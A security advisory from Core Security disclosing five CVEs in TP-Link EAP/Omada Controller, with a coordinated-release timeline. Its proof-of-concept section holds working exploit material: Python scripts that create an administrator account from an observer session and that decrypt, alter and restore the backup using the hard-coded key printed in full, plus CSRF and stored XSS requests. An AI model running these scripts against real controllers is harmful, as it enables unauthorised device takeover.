TP-Link EAP Controller Multiple Vulnerabilities

1. Advisory Information

Title: TP-Link EAP Controller Multiple Vulnerabilities
Advisory ID: CORE-2018-0001
Advisory URL: http://www.coresecurity.com/core-labs/advisories/tp-link-eap-controller-multiple-vulnerabilities
Date published: 2018-05-03
Date of last update: 2018-05-03
Vendors contacted: TP-Link
Release mode: Coordinated release

2. Vulnerability Information

Class: Improper Privilege Management [CWE-269], Use of Hard-coded Cryptographic Key [CWE-321], Cross-Site Request Forgery [CWE-352], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79]
Impact: Code execution, Security bypass
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2018-10168, CVE-2018-10167, CVE-2018-10166, CVE-2018-10165, CVE-2018-10164

3. Vulnerability Description

TP-Link states that the EAP Controller is a management software for the TP-Link EAP devices [1]. It allows you to centrally manage your EAP devices using a Web browser. You can configure EAPs in batches and conduct real-time monitoring of each EAP in the network (TP-Link changed the name of EAP Controller to Omada Controller for new versions).

Vulnerabilities were found in the EAP Controller management software, allowing privilege escalation due to improper privilege management in the Web application. Due to the use of a hard-coded cryptographic key the backup file of the Web application can be decrypted, modified and restored back. Also, the Web application does not have Cross-Site Request Forgery protection and finally, two stored Cross Site Scripting vulnerabilities were found.

4. Vulnerable Packages

  • TP-Link EAP Controller_V2.5.4_Windows
  • TP-Link Omada Controller_V2.6.0_Windows

Other products and versions might be affected, but they were not tested.

5. Vendor Information, Solutions and Workarounds

TP-Link released Omada Controller_V2.6.1_Windows [2] that fixes the reported issues.

6. Credits

This vulnerability was discovered and researched by Julian Muñoz from Core Security Exploits QA. The publication of this advisory was coordinated by Alberto Solino and Leandro Cuozzo from Core Advisories Team.

7. Technical Description / Proof of Concept Code

TP-Link EAP Controller doesn't have any role control on the Web app API, only the application GUI seems to be restricting low lever users (observer) from changing settings. The vulnerability presented in 7.1 shows how a low privilege user (observer) can make a request and create a new administrator user.

On 7.2 we show the software uses a hardcoded key to encrypt the Web application's backup file. An attacker possessing such key, and knowing the encryption algorithm would allow the backup file to be decrypted and modified. Forcing a user to restore this backup (using 7.3) can give us total control over the managed devices.

On 7.3 we show the application does not have any Cross-Site Request Forgery Protection giving an attacker the possibility of forcing an end user to execute any unwanted actions on the EAP Controller in which the victim is currently authenticated. Finally, we discovered two Cross-Site Scripting, one on the creation of a local user in the parameter userName (7.4) and the other one abusing the implementation of portalPictureUpload (7.5).

7.1. Privilege escalation from Observer to Administrator

[CVE-2018-10168] The software does not control privileges on the usage of the Web API, allowing a low privilege user to make any request as an Administrator. The following PoC shows the creation of a new Administrator, by just having the session cookie of an observer (lowest privilege user):

 import requests session = requests.Session() session.trust_env = False tpeap_session_id = 
"80ab613a-590c-47ac-a2d6-f2949a0e9daa" #observer session_id cookie = {'TPEAP_SESSIONID': tpeap_session_id}
 data = {"name": "coresecurity", "roleId": "59fb411ebb62eef169069ac3", "password": "123456", "email": 
"fakemail@ gmail.com", "roleName": "administrator"} #create user create_user_response = session.post
('https://EAP_CONTROLER_IP:8043/user/addUser', cookies=cookie, data=data, verify=False)

The roleId parameter can be discovered in 7.2 by decrypting the backup file.

7.2. Download, Decrypt and Restore the web app backup file

[CVE-2018-10167] As described, the whole Web API do not restrict low privilege users, so an observer can make a request to download the web app backup file. The backup file is encrypted with a hard-coded cryptographic key so anyone who knows that key and the algorithm can decrypt it.

The following xml is part of the decrypted backup file, modifying those fields would give us control over the EAP device since we can inject a user and password for the user account and enable SSH on the device. With this we can connect remotely to the access point via SSH with the given credentials.

 <useraccount> { "id" : "5a09fad8bb62eef169069ad3", "userName" : "attacker", "password" : "1234567", "site" : "Default", "key" :
 "userAccount" } </useraccount> <ssh> { "id" : "59fb411fbb62eef169069ac7", "sshserverPort" : 22, "sshenable" : true, "site" :
 "Default", "key" : "ssh" } </ssh>

The following code shows how this process is done, using an observer's session_id. First we get the backup file, decrypt it using the hard-coded key, then we modify it and finally upload it back to the server.

 # -*- coding: utf-8 -*- import requests import codecs key = "Ei2HNryt8ysSdRRI54XNQHBEbOIRqNjQgYxsTmuW3srSVRVFyLh8mwvhBLPFQph3ecDMLnDtjDUdrUwt7oTsJuYl72hXESNiD6jFIQCtQN1unsmn" \ "3JXjeYwGJ55pqTkVyN2OOm3vekF6G1LM4t3kiiG4lGwbxG4CG1s5Sli7gcINFBOLXQnPpsQNWDmPbOm74mE7eyR3L7tk8tUhI17FLKm11hrrd1ck" \ "74bMw3VYSK3X5RrDgXelewMU6o1tJ3iX" def init_key(secret_key): key_in_bytes = map(ord, secret_key) number_list = range(0, 256) j = 0 for i, val in enumerate(number_list): j = j + number_list[i] + key_in_bytes[i] & 0xFF temp = number_list[i] number_list[i] = number_list[j] number_list[j] = temp return number_list def encrypt(data, key): key = init_key(key) input = [x for x in data] output = [] for x, elem in enumerate(data): i = 0 j = 0 i = (i + 1) % 256 j = (j + key[i]) % 256 temp = key[i] key[i] = key[j] key[j] = temp t = (key[i] + key[j] % 256) % 256 iY = key[t] iCY = iY output.append(chr(ord(input[x]) ^ iCY)) ret = ''.join(output) return ret session = requests.Session() session.trust_env = False tpeap_session_id = "80ab613a-590c-47ac-a2d6-f2949a0e9daa" cookie = {'TPEAP_SESSIONID': tpeap_session_id} #get backup file get_backup_response = session.get('https://EAP_CONTROLER_IP:8043/globalsetting/backup', cookies=cookie, verify=False) #decrypt backup file decrypted_backup = encrypt(unicode(get_backup_response.content, 'utf-8'), key) #modify decrypted backup file patched_backup = decrypted_backup.replace('normaluser', 'attacker') #encrypt the file and save it path_to_write = r"C:\fake_path\patched_backup_from_observer.cfg" encrypt_patched_backup = unicode(encrypt(patched_backup, key), 'unicode-escape') h = codecs.open(path_to_write, "w", encoding='utf-8') h.write(encrypt_patched_backup) h.close() #upload patched backup file files = {'file': open(path_to_write, 'rb')} restore_backup_response = session.post('https://EAP_CONTROLER_IP:8043/globalsetting/restore', files=files, cookies=cookie, verify=False)

7.3. Lack of Cross-Site Request Forgery Protection

[CVE-2018-10166] There are no Anti-CSRF tokens in any forms on the Web interface. This would allow an attacker to submit authenticated requests when an authenticated user browses an attack-controlled domain.

Proof of concept to create an Administrator User

 POST /user/addUser HTTP/1.1 Host: EAP_CONTROLER_IP:8043 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0)
 Gecko/20100101 Firefox/57.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language:
 en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http:// 127.0.0.1:5000/xss Content-Type: application/x-www-form
-urlencoded Content-Length: 64 Cookie: TPEAP_LANGUAGE=en; TPEAP_SESSIONID=80ab613a-590c-47ac-a2d6-f2949a0e9daa Connection:
 close Upgrade-Insecure-Requests: 1 name=testuser&email=testuser%40gmail.com&roleId=59fb411ebb62eef169069ac3&password=
123456&roleName=administrator

7.4. Cross-Site Scripting in the creation of a local User

[CVE-2018-10165] The following parameter of the local user creation is vulnerable to a stored Cross Site Scripting: userName

The following is a proof of concept to demonstrate the vulnerability:

 POST /hotspot/localUser/saveUser HTTP/1.1 Host: EAP_CONTROLER_IP:8043 User-Agent: Mozilla/5.0 
(Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: text/html,application/xhtml+xml,
application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http:
// 127.0.0.1:5000/xss Content-Type: application/x-www-form-urlencoded Content-Length: 64 Cookie: TPEAP_LANGUAGE=
en Connection: close Upgrade-Insecure-Requests: 1 userName=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&password=123456

7.5. Cross-Site Scripting in portalPictureUpload

[CVE-2018-10164] The implementation of portalPictureUpload can be abused and leads to a stored Cross Site Scripting.

Decrypting the backup file shows that the portal background image is uploaded encoded in base64 and stored in the software database (mongoDB)

In the following example we encode "<script>alert(1)</script>" in base64, the results is "PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==" so we replace the fileData with the code and restore the backup file.

 <picturefiles> <file> <fileId>5a383b962dc07622f0bdc101</fileId> <fileData>PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==</fileData> </file> </picturefiles>

To execute the stored XSS we enter the page https://EAP_CONTROLER_IP:8043/globalsetting/portalPictureLoad?fileId=5a383b962dc07622f0bdc101 (using the fileId used in the example).

8. Report Timeline

  • 2018-01-12: Core Security sent an initial notification to TP-LINK, asking for GPG keys in order to send draft advisory.
  • 2018-01-14: TP-Link answered asking for the advisory in clear text.
  • 2018-01-15: Core Security sent the draft advisory to TP-Link in clear text form.
  • 2018-01-29: TP-Link informed Core Security they checked the draft advisory and they are going to fix the vulnerabilities.
  • 2018-01-29: Core Security asked if all the reported vulnerabilities were confirmed and request an estimated release date for the fix.
  • 2018-02-07: TP-Link informed that they were working in a beta version of the fix and they will provide it to Core Security for test.
  • 2018-02-07: Core Security thanked TP-Link´s answer and asked for a tentative date for this beta version.
  • 2018-02-11: TP-Link sent the beta version.
  • 2018-02-19: Core Security tested the beta version and verified that all the vulnerabilities were fixed. Also, Core Security asked for a tentative release date for the fix.
  • 2018-02-27: Core Security asked for a status update again.
  • 2018-02-27: Core Security noticed that a new version of the EAP Controller Software was released (v2.6.0). However, this version didn´t address the reported vulnerabilities. Core Security asked for a status update again.
  • 2018-03-01: TP-Link informed that they were planning to release the fixed version in April.
  • 2018-03-01: Core Security thanked TP-Link's answer and requested for a regular contact till the release of the fixed version.
  • 2018-03-19: Core Security requested a status update.
  • 2018-03-21: TP-Link confirmed that the new version will be available in early April.
  • 2018-03-26: Core Security thanked TP-Link's reply an asked for a solidified release date.
  • 2018-04-13: Core Security noticed that a new version of the EAP Controller was released (v2.6.1) and asked TP-Link if this version fixed the reported vulnerabilities.
  • 2018-04-16: Core Security tested the new release and confirmed that the reported vulnerabilities were addressed.
  • 2018-04-17: Core Security set release date to be May 3rd at 12 PM EST.
  • 2018-05-03: Advisory CORE-2018-0001 published.

9. References

[1] https://www.tp-link.com/en/products/details/EAP-Controller.html.
[2] https://www.tp-link.com/en/download/EAP-Controller.html#Controller_Software.

10. About CoreLabs

CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at https://www.coresecurity.com/core-labs

11. About Core Security

Core Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company's threat-aware, identity & access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insight gives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur.

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12. Disclaimer

The contents of this advisory are copyright (c) 2018 Core Security and (c) 2018 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/